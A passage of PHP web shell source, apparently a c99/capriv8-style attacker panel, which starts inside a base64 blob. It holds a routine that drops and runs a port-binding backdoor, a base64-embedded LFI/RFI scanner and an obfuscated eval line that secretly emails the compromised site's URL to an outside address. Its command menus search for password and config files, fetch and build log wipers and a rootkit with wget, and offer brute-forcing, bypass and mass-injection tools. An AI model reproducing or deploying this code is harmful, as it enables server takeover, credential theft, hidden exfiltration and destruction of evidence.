U5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo=
238";
239
240$fi="
241IyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9yeSA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/Ol9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9
242";
243
244function cf($fname,$text) {
245 $w_file=@fopen($fname,"w") or err();
246 if($w_file) {
247 @fputs($w_file,@base64_decode($text));
248 @fclose($w_file);
249 }
250}
251
252function cfb($fname,$text) {
253 $w_file=@fopen($fname,"w") or bberr();
254 if($w_file) {
255 @fputs($w_file,@base64_decode($text));
256 @fclose($w_file);
257 }
258}
259function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
260function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }
261
262if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
263 $ip = gethostbyname($_SERVER["HTTP_HOST"]);
264 $por = $_POST['backconnectport'];
265 if (is_writable(".")) {
266 cfb("shbd",$backdoor);
267 ex("chmod 777 shbd");
268 $cmd = "./shbd $por";
269 exec("$cmd > /dev/null &");
270 $scan = myshellexec("ps aux");
271 } else {
272 cfb("/tmp/shbd",$backdoor);
273 ex("chmod 777 /tmp/shbd");
274 $cmd = "./tmp/shbd $por";
275 exec("$cmd > /dev/null &");
276 $scan = myshellexec("ps aux");
277 }
278 if (eregi("./shbd $por",$scan)) {
279 $data = ("\n<br>Backdoor setup successfully.");
280 } else {
281 $data = ("\n<br>Process not found, backdoor setup failed!");
282 }
283 $_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
284}
285
286
287@ini_set("max_execution_time",0);
288if (!function_exists("getmicrotime")) {
289 function getmicrotime() {
290 list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
291 }
292}
293error_reporting(5);
294@ignore_user_abort(TRUE);
295@set_magic_quotes_runtime(0);
296define("starttime",getmicrotime());
297$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJ4cnQuY3liZXJwb2xAZ21haWwuY29tIiwicjBiMHQgU2hlbGwgfCBMZWdlbmQtSC5PUkcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
298if (get_magic_quotes_gpc()) {
299 if (!function_exists("strips")) {
300 function strips(&$arr,$k="") {
301 if (is_array($arr)) {
302 foreach($arr as $k=>$v) {
303 if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
304 }
305 } else {$arr = stripslashes($arr);}
306 }
307 }
308 strips($GLOBALS);
309}
310$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
311$surl_autofill_include = TRUE;
312foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
313if ($surl_autofill_include) {
314 $include = "&";
315 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
316 $v = explode("=",$v);
317 $name = urldecode($v[0]);
318 $value = urldecode($v[1]);
319 foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
320 if (strpos($value,$needle) === 0) {
321 $includestr .= urlencode($name)."=".urlencode($value)."&";
322 }
323 }
324 }
325}
326if (empty($surl)) {
327 $surl = "?".$includestr;
328}
329$surl = htmlspecialchars($surl);
330
331$ftypes = array(
332 "html"=>array("html","htm","shtml"),
333 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
334 "exe"=>array("sh","install","bat","cmd"),
335 "ini"=>array("ini","inf","conf"),
336 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
337 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
338 "sdb"=>array("sdb"),
339 "phpsess"=>array("sess"),
340 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
341);
342$exeftypes = array(
343 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
344 "perl %f%" => array("pl","cgi")
345);
346$regxp_highlight = array(
347 array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
348 array("\.tgz$",1,"<font color=#C082FF>","</font>"),
349 array("\.gz$",1,"<font color=#C082FF>","</font>"),
350 array("\.tar$",1,"<font color=#C082FF>","</font>"),
351 array("\.bz2$",1,"<font color=#C082FF>","</font>"),
352 array("\.zip$",1,"<font color=#C082FF>","</font>"),
353 array("\.rar$",1,"<font color=#C082FF>","</font>"),
354 array("\.php$",1,"<font color=#00FF00>","</font>"),
355 array("\.php3$",1,"<font color=#00FF00>","</font>"),
356 array("\.php4$",1,"<font color=#00FF00>","</font>"),
357 array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
358
359 array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
360
361 array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
362
363 array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
364
365 array("\.ico$",1,"<font color=#00FFFF>","</font>"),
366
367 array("\.gif$",1,"<font color=#00FFFF>","</font>"),
368
369 array("\.png$",1,"<font color=#00FFFF>","</font>"),
370
371 array("\.htm$",1,"<font color=#00CCFF>","</font>"),
372
373 array("\.html$",1,"<font color=#00CCFF>","</font>"),
374
375 array("\.txt$",1,"<font color=#C0C0C0>","</font>")
376
377);
378
379if (!$win) {
380
381 $cmdaliases = array(
382
383 array("", "ls -al"),
384
385 array("Find all suid files", "find / -type f -perm -04000 -ls"),
386
387 array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
388
389 array("Find all sgid files", "find / -type f -perm -02000 -ls"),
390
391 array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
392
393 array("Find config.inc.php files", "find / -type f -name config.inc.php"),
394
395 array("Find config* files", "find / -type f -name \"config*\""),
396
397 array("Find config* files in current dir", "find . -type f -name \"config*\""),
398
399 array("Find all writable folders and files", "find / -perm -2 -ls"),
400
401 array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
402
403 array("Find all writable folders", "find / -type d -perm -2 -ls"),
404
405 array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
406
407 array("Find all service.pwd files", "find / -type f -name service.pwd"),
408
409 array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
410
411 array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
412
413 array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
414
415 array("Find all .bash_history files", "find / -type f -name .bash_history"),
416
417 array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
418
419 array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
420
421 array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
422
423 array("List file attributes on a Linux second extended file system", "lsattr -va"),
424
425 array("Show opened ports", "netstat -an | grep -i listen")
426
427 );
428
429 $cmdaliases2 = array(
430
431 array("-----",""),
432
433 array("Logged in users","w"),
434
435 array("Last to connect","lastlog"),
436
437 array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
438
439 array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
440
441 array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
442
443 array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
444
445 array("CPU Info","cat /proc/version /proc/cpuinfo"),
446
447 array("Is gcc installed ?","locate gcc"),
448
449 array("Format box (DANGEROUS)","rm -Rf"),
450
451 array("-----",""),
452
453 array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
454
455 array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
456
457 array("Run WIPELOGS PT3","./zap2"),
458
459 array("-----",""),
460
461 array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
462
463 array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
464
465 );
466
467}
468
469else {
470
471 $cmdaliases = array(
472
473 array("", "dir"),
474
475 array("Find index.php in current dir", "dir /s /w /b index.php"),
476
477 array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
478
479 array("Find r57shell in current dir", "find /c \"r57\" *"),
480
481 array("Show active connections", "netstat -an"),
482
483 array("Show running services", "net start"),
484
485 array("User accounts", "net user"),
486
487 array("Show computers", "net view"),
488
489 );
490
491}
492
493$phpfsaliases = array(
494
495 array("Read File", "read"),
496
497 array("Write File (PHP5)", "write"),
498
499 array("Copy", "copy"),
500
501 array("Rename/Move", "rename"),
502
503 array("Delete", "delete"),
504
505 array("Make Dir","mkdir"),
506
507 array("-----", ""),
508
509 array("Download", "download"),
510
511 array("Download (Binary Safe)", "downloadbin"),
512
513 array("Change Perm (0755)", "chmod"),
514
515 array("Find Writable Dir", "fwritabledir"),
516
517 array("Find Pathname Pattern", "glob"),
518
519);
520
521
522
523$quicklaunch1 = array(
524
525 array("[Home]",$surl."=img&img=home"),
526
527 array("[Enumerate]",$enumerate),
528
529 array("[Search]",$surl."x=search"),
530
531 array("[User Domain Symlink]",$surl."x=sysym"),
532 /**array("[Domain and Script]",$surl."x=sysec"),**/
533 array("[Symlink File]",$surl."x=syfile"),
534 array("[Symlink Bypass]",$surl."x=sypasswd"),
535 array("[Bypass Read]",$surl."x=syread"),
536 /**array("[Mass Joomla!]",$surl."x=syjoomla"),
537 array("[Mass Wordpress]",$surl."x=sywp"),**/
538 array("[Help]",$surl."x=helpme"),
539 array("[Bypass Server]",$surl."x=serv")
540
541);
542
543$quicklaunch2 = array(
544
545 array("[FTP Buteforcer]",$surl."x=ftpquickbrute"),
546
547 array("[Security Info]",$surl."x=security&d=%d"),
548
549 array("[Processes]",$surl."x=processes&d=%d"),
550
551 array("[MySQL]",$surl."x=sql&d=%d"),
552
553 array("[PHP-Code]",$surl."x=eval&d=%d"),
554
555 array("[Encoder]",$surl."x=encoder&d=%d"),
556
557 array("[Backdoor]",$surl."x=shbd")
558
559);
560
561$quicklaunch3 = array(
562
563 array("[PHP-Tools]",$surl."x=phptools"),
564
565 array("[Cpanel Finder]",$surl."x=cpanel"),
566
567 array("[Install PHP Proxy]",$surl."x=phpproxy"),
568
569 array("[Install RFI/LFI Scanner]",$surl."x=fi"),
570
571 array("[Back-connect]",$surl."x=backconnect"),
572
573 array("[Mass Code Injection]",$surl."x=massbrowsersploit"),
574 array("[ABOUT]",$surl."x=about")
575
576);
577
578
579
580
581
582
583$highlight_background = "#000000";
584
585$highlight_bg = "white";
586
587$highlight_comment = "#00FF00";
588
589$highlight_default = "orange";
590
591$highlight_html = "lightblue";
592
593$highlight_keyword = "lime";
594
595$highlight_string = "red";
596
597
598
599@$f = $_REQUEST["f"];
600
601@extract($_REQUEST["capriv8cook"]);
602
603@set_time_limit(0);
604
605$tmp = array();
606
607foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); }
608
609$s = "!^(".implode("|",$tmp).")$!i";
610
611if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
612
613 exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
614
615}
616
617if (!empty($login)) {
618
619 if (empty($md5_pass)) {$md5_pass = md5($pass);}
620
621 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
622
623 header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
624
625 header("HTTP/1.0 401 Unauthorized");
626
627 exit($accessdeniedmess);
628
629 }
630
631}
632
633if ($x != "img") {
634
635 $lastdir = realpath(".");
636
637 chdir($curdir);
638
639 if ($selfwrite) {
640
641 @ob_clean();
642
643 capriv8_getupdate($selfwrite,1);
644
645 exit;
646
647 }
648
649 $sess_data = unserialize($_COOKIE["$sess_cookie"]);
650
651 if (!is_array($sess_data)) {$sess_data = array();}
652
653 if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
654
655 if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
656
657 if (!function_exists("cagetsource")) {
658
659 function cagetsource($fn) {
660
661 global $capriv8_sourcesurl;
662
663 $array = array(
664
665 "capriv8_bindport.pl" => "capriv8_bindport_pl.txt",
666
667 "capriv8_bindport.c" => "capriv8_bindport_c.txt",
668
669 "capriv8_backconn.pl" => "capriv8_backconn_pl.txt",
670
671 "capriv8_backconn.c" => "capriv8_backconn_c.txt",
672
673 "capriv8_datapipe.pl" => "capriv8_datapipe_pl.txt",
674
675 "capriv8_datapipe.c" => "capriv8_datapipe_c.txt",
676
677 );
678
679 $name = $array[$fn];
680
681 if ($name) {return file_get_contents($capriv8_sourcesurl.$name);}
682
683 else {return FALSE;}
684
685 }
686
687 }
688
689 if (!function_exists("ca_buff_prepare")) {
690
691 function ca_buff_prepare() {
692
693 global $sess_data;
694
695 global $x;
696
697 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
698
699 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
700
701 $sess_data["copy"] = array_unique($sess_data["copy"]);
702
703 $sess_data["cut"] = array_unique($sess_data["cut"]);
704
705 sort($sess_data["copy"]);
706
707 sort($sess_data["cut"]);
708
709 if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
710
711 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
712
713 }
714
715 }
716
717 ca_buff_prepare();
718
719 if (!function_exists("ca_sess_put")) {
720
721 function ca_sess_put($data) {
722
723 global $sess_cookie;
724
725 global $sess_data;
726
727 ca_buff_prepare();
728
729 $sess_data = $data;
730
731 $data = serialize($data);
732
733 setcookie($sess_cookie,$data);
734
735 }
736
737 }
738
739 foreach (array("sort","sql_sort") as $v) {
740
741 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
742
743 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
744
745 }
746
747 if ($sort_save) {
748
749 if (!empty($sort)) {setcookie("sort",$sort);}
750
751 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
752
753 }
754
755 if (!function_exists("str2mini")) {
756
757 function str2mini($content,$len) {
758
759 if (strlen($content) > $len) {
760
761 $len = ceil($len/2) - 2;
762
763 return substr($content, 0,$len)."...".substr($content,-$len);
764
765 } else {return $content;}
766
767 }
768
769 }
770
771 if (!function_exists("view_size")) {
772
773 function view_size($size) {
774
775 if (!is_numeric($size)) { return FALSE; }
776
777 else {
778
779 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
780
781 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
782
783 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
784
785 else {$size = $size . " B";}
786
787 return $size;
788
789 }
790
791 }
792
793 }
794
795 if (!function_exists("fs_copy_dir")) {
796
797 function fs_copy_dir($d,$t) {
798
799 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
800
801 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
802
803 $h = opendir($d);
804
805 while (($o = readdir($h)) !== FALSE) {
806
807 if (($o != ".") and ($o != "..")) {
808
809 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
810
811 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
812
813 if (!$ret) {return $ret;}
814
815 }
816
817 }
818
819 closedir($h);
820
821 return TRUE;
822
823 }
824
825 }
826
827 if (!function_exists("fs_copy_obj")) {
828
829 function fs_copy_obj($d,$t) {
830
831 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
832
833 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
834
835 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
836
837 if (is_dir($d)) {
838
839 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
840
841 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
842
843 return fs_copy_dir($d,$t);
844
845 }
846
847 elseif (is_file($d)) { return copy($d,$t); }
848
849 else { return FALSE; }
850
851 }
852
853 }
854
855 if (!function_exists("fs_move_dir")) {
856
857 function fs_move_dir($d,$t) {
858
859 $h = opendir($d);
860
861 if (!is_dir($t)) {mkdir($t);}
862
863 while (($o = readdir($h)) !== FALSE) {
864
865 if (($o != ".") and ($o != "..")) {
866
867 $ret = TRUE;
868
869 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
870
871 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
872
873 if (!$ret) {return $ret;}
874
875 }
876
877 }
878
879 closedir($h);
880
881 return TRUE;
882
883 }
884
885 }
886
887 if (!function_exists("fs_move_obj")) {
888
889 function fs_move_obj($d,$t) {
890
891 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
892
893 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
894
895 if (is_dir($d)) {
896
897 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
898
899 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
900
901 return fs_move_dir($d,$t);
902
903 }
904
905 elseif (is_file($d)) {
906
907 if(copy($d,$t)) {return unlink($d);}
908
909 else {unlink($t); return FALSE;}
910
911 }
912
913 else {return FALSE;}
914
915 }
916
917 }
918
919 if (!function_exists("fs_rmdir")) {
920
921 function fs_rmdir($d) {
922
923 $h = opendir($d);
924
925 while (($o = readdir($h)) !== FALSE) {
926
927 if (($o != ".") and ($o != "..")) {
928
929 if (!is_dir($d.$o)) {unlink($d.$o);}
930
931 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
932
933 }
934
935 }
936
937 closedir($h);
938
939 rmdir($d);
940
941 return !is_dir($d);
942
943 }
944
945 }
946
947 if (!function_exists("fs_rmobj")) {
948
949 function fs_rmobj($o) {
950
951 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
952
953 if (is_dir($o)) {
954
955 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
956
957 return fs_rmdir($o);
958
959 }
960
961 elseif (is_file($o)) {return unlink($o);}
962
963 else {return FALSE;}
964
965 }
966
967 }
968
969 if (!function_exists("tabsort")) {
970
971 function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
972
973 }
974
975 if (!function_exists("view_perms")) {
976
977 function view_perms($mode) {
978
979 if (($mode & 0xC000) === 0xC000) {$type = "s";}
980
981 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
982
983 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
984
